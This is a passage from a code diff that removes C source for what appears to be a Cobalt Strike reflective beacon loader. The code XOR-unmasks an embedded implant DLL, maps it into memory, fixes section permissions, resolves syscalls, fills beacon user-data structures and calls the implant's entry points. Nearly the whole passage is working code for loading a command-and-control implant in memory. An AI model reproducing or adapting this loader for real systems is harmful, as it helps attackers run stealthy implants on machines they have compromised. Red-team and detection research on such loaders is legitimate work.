(sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtection = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtection = PAGE_EXECUTE_READWRITE; - } - - KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection); - - region->Sections[i].Label = GetLabelFromSectionHeader(sectionHdr); - region->Sections[i].BaseAddress = sectionDst; - region->Sections[i].VirtualSize = sectionSize; - region->Sections[i].CurrentProtect = newProtection; - region->Sections[i].PreviousProtect = newProtection; - region->Sections[i].MaskSection = TRUE; - - sectionHdr++; - } -} - -void go() -{ - IMPORTFUNCS funcs; - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* get the masked dll and key */ - RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_); - RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_); - - /* unmask and load into memory */ - char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - for (int i = 0; i < dll->length; i++) { - src[i] = dll->value[i] ^ key->value[i % key->length]; - } - - /* parse beacon headers */ - DLLDATA data; - ParseDLL(src, &data); - - /* load it into new memory */ - char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - - LoadDLL(&data, src, dst); - ProcessImports(&funcs, &data, dst); - - /* initialise bud */ - USER_DATA bud; - SYSCALL_API syscalls; - RTL_API rtlFunctions; - ALLOCATED_MEMORY memory; - - memset(&bud, 0, sizeof(USER_DATA)); - memset(&syscalls, 0, sizeof(SYSCALL_API)); - memset(&rtlFunctions, 0, sizeof(RTL_API)); - memset(&memory, 0, sizeof(ALLOCATED_MEMORY)); - - bud.version = COBALT_STRIKE_VERSION; - bud.syscalls = &syscalls; - bud.rtls = &rtlFunctions; - bud.allocatedMemory = &memory; - - /* fix section memory permissions */ - FixSectionPermissions(&data, dst, &bud.allocatedMemory->AllocatedMemoryRegions[0]); - - /* define cleanup information for VirtualAlloc */ - ALLOCATED_MEMORY_CLEANUP_INFORMATION vaCleanup; - memset(&vaCleanup, 0, sizeof(ALLOCATED_MEMORY_CLEANUP_INFORMATION)); - - vaCleanup.AllocationMethod = METHOD_VIRTUALALLOC; - vaCleanup.Cleanup = TRUE; - - /* set the region info for beacon */ - bud.allocatedMemory->AllocatedMemoryRegions[0].Purpose = PURPOSE_BEACON_MEMORY; - bud.allocatedMemory->AllocatedMemoryRegions[0].AllocationBase = dst; - bud.allocatedMemory->AllocatedMemoryRegions[0].RegionSize = data.NtHeaders->OptionalHeader.SizeOfImage; - bud.allocatedMemory->AllocatedMemoryRegions[0].Type = MEM_PRIVATE; - bud.allocatedMemory->AllocatedMemoryRegions[0].CleanupInformation = vaCleanup; - - /* resolve syscall info */ - ResolveSyscalls(&syscalls); - ResolveRtlFunctions(&rtlFunctions); - - /* get the entry point */ - DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst); - - /* free the unmasked copy */ - KERNEL32$VirtualFree(src, 0, MEM_RELEASE); - - /* call entry point */ - entryPoint((HINSTANCE)0, DLL_BEACON_USER_DATA, &bud); - entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL); - entryPoint((HINSTANCE)GETRESOURCE(go), DLL_BEACON_START, NULL); -} \ No newline at end of file